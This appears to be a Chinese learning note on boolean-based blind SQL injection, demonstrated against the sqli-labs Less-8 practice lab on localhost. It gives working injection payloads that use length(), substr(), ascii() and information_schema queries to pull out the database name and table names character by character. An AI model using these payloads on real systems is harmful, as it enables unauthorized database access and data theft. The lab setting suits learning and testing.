布尔简介
布尔注入并非联合注入那般,会直接输出数据库名称,布尔注入只会输出两种类型的界面,在sqli-labs里只有什么都不输出和you are in这代表着错误,和正确,这正好可以利用进行布尔盲注。并未讲用工具注入,用burp注入等学过了在写。(因为视频是用sqli-labs第八关演示的,我也用第八关。)
第八关注入记录
1.判断字符型注入还是整型注入
看来是字符注入
2.判断闭合符号
由此可判断为‘)和’
判断出闭合符号。
3.也可以通过报错来判断字段
依旧是order by语句
判断字断为3
3.判断数据库名字长度(也可以不判断)
and length(database())>(所猜测的数据库长度)(用大于等于小于都行)
由此可判断出,数据库名长度为8
4.判断数据库名
and substr((select database()),1)
即为,数据库的名字的第x位开始,取y位的长度。
ascii()函数可以将所得字母转化为对应的ascll码
即通过ascll码的对比,输出的页面来判断数据库名
and ascii(substr((select database()),1,1))
是s
(别问怎么是115,用二分法会省很多时间相对而言,其实布尔盲注手注麻烦死)
然后判断第二位
and ascii(substr((select database()),2,1))
二分法,是e
库名知道怎么爆的就行,剩下的我也不演示了
库名为select
5.爆表
爆表的数量先
and (select count(*)from information_schema.tables where table_schema=database())
count(*)此函数为计算数量,即上面这个语句为计算表的数量,同样,与数字对比得到表数
爆表名的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
limit是限制的意思
limitx,y即限制查询第x位y长度
又因为计算机常以0开始计数,故第一个表名长度位limit 0,1,第二个为limit 1,1,依次类推
爆表名
http://127.0.0.1/sqli-labs-master/Less-8/?id=1 ' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>6--+
用ascii码表示第一个表名的第一个字母
table_name,1,1表示第一个字母
limit,0,1表示第一个表
但是我们需要得到user的表,于是挨个试,得到最后一个表的第一个字母为u
http://127.0.0.1/sqli-labs-master/Less-8/?id=1 ' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 3,1)=117--+
到此,复杂的ex的布尔盲注的原理就已经演示完毕了,真麻烦
一般没啥事都应该用工具来安排